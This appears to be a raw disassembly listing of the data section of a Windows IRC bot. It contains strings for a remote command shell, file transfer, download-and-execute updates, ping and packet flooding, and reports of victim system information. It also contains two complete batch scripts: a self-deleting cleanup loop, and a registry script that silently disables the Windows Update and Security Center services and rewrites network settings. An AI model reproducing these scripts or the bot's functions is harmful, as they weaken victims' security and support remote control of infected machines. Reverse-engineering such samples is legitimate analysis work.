dword_429A94	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4095A9+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409B27+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_409BEC+5o
					; sub_4141DB+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_409C6E+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D12+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D34+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409D34+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409D34+48o
		align 10h
aCTenpo_bat	db 'c:\tenpo.bat',0     ; DATA XREF: sub_409EBC+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409EBC+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_42B3F8	db    2			; DATA XREF: sub_409FB2:loc_40A083o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 10h
unk_42B440	db    2			; DATA XREF: sub_409FB2:loc_40A051o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42B484	db    2			; DATA XREF: sub_409FB2:loc_40A007o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42B4C0	db    2			; DATA XREF: sub_409FB2+45o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B504	db    2			; DATA XREF: sub_40A133+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B544	db    2			; DATA XREF: sub_40A133+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42B580	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A2BF+1C7o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 10h
dword_42B5C0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A2BF+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A53E+33o
		align 10h
dword_42B610	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5:loc_40A6F7o
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42B654	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5+10Fo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 10h
dword_42B690	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5:loc_40A6ABo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 8
dword_42B6D8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A71A+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42B720	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A71A+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A71A+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A8CF+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40A9D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40A9D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A9D8:loc_40AB3Co
		align 4
word_42B864	dw 3Fh			; DATA XREF: sub_40A9D8:loc_40AADAr
					; sub_40C18B+1Fo
		align 4
dword_42B868	dd 28207325h, 297325h	; DATA XREF: sub_40A9D8+EBo
dword_42B870	dd 3F3F3Fh		; DATA XREF: sub_40A9D8:loc_40AA9Bo
					; seg001:loc_41418Co
a2003		db '2003',0             ; DATA XREF: sub_40A9D8+BAo
					; seg001:0042C544o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40A9D8+AAo
					; seg001:00414177o ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40A9D8+98o
					; seg001:00414167o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40A9D8+7Eo
					; seg001:0041414Eo
		align 4
a98		db '98',0               ; DATA XREF: sub_40A9D8+6Co
					; seg001:0041413Eo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40A9D8+5Ao
					; seg001:0041412Eo
		align 10h
a95		db '95',0               ; DATA XREF: sub_40A9D8+46o
					; seg001:00414120o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AC8C+ABo
		align 4
off_42B8D4	dd offset loc_412F4E	; DATA XREF: sub_40AC8C:loc_40AD00o
dword_42B8D8	dd 4E414Ch		; DATA XREF: sub_40AC8C:loc_40ACF9o
dword_42B8DC	dd 6C616944h, 70752Dh	; DATA XREF: sub_40AC8C+5Eo
dword_42B8E4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF:	sub_40AC8C+48o
unk_42B8F8	db    2			; DATA XREF: sub_40AD52:loc_40AF0Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42B93C	db    2			; DATA XREF: sub_40AD52:loc_40AF08o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42B97C	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AD52+1A6o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 2	dup(0)
unk_42B9B0	db    2			; DATA XREF: sub_40AD52:loc_40AEEBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 10h
dword_42BA00	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AD52+192o
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42BA30	dd 2A2F2Ah		; DATA XREF: sub_40AD52+3Bo
dword_42BA34	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40B000+35o
dword_42BA40	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B000+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B078+60o
		align 4
dword_42BA74	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B118+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BAAC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B18A+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BADC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B18A+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BB00	dd 80000002h		; DATA XREF: sub_40B2B9+24r
off_42BB04	dd offset aSoftwareMicr_0 ; DATA XREF: sub_40B2B9+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42C364h, 80000001h, 42C39Ch
dword_42BB18	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+170o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 10h
dword_42BB60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+ABo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BBA4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+47o
					; sub_40B61A+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BBDC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+362o
					; sub_40B9BC+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BC08	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BC5C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BC94	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BCC0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40B61A+16Ao
		dd 169h
dword_42BCD8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BD0C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BD44	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 10h
dword_42BD80	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BDD8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BE0C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40B9BC+97o
dword_42BE50	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_42BE94	db    2			; DATA XREF: sub_40BBF7+480o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 8
unk_42BED8	db    2			; DATA XREF: sub_40BBF7+472o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
		align 8
unk_42BF28	db    2			; DATA XREF: sub_40BBF7+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42BF7C	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40BBF7+34Do
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40BBF7+32Bo
					; sub_40CD3A+297Bo ...
		align 8
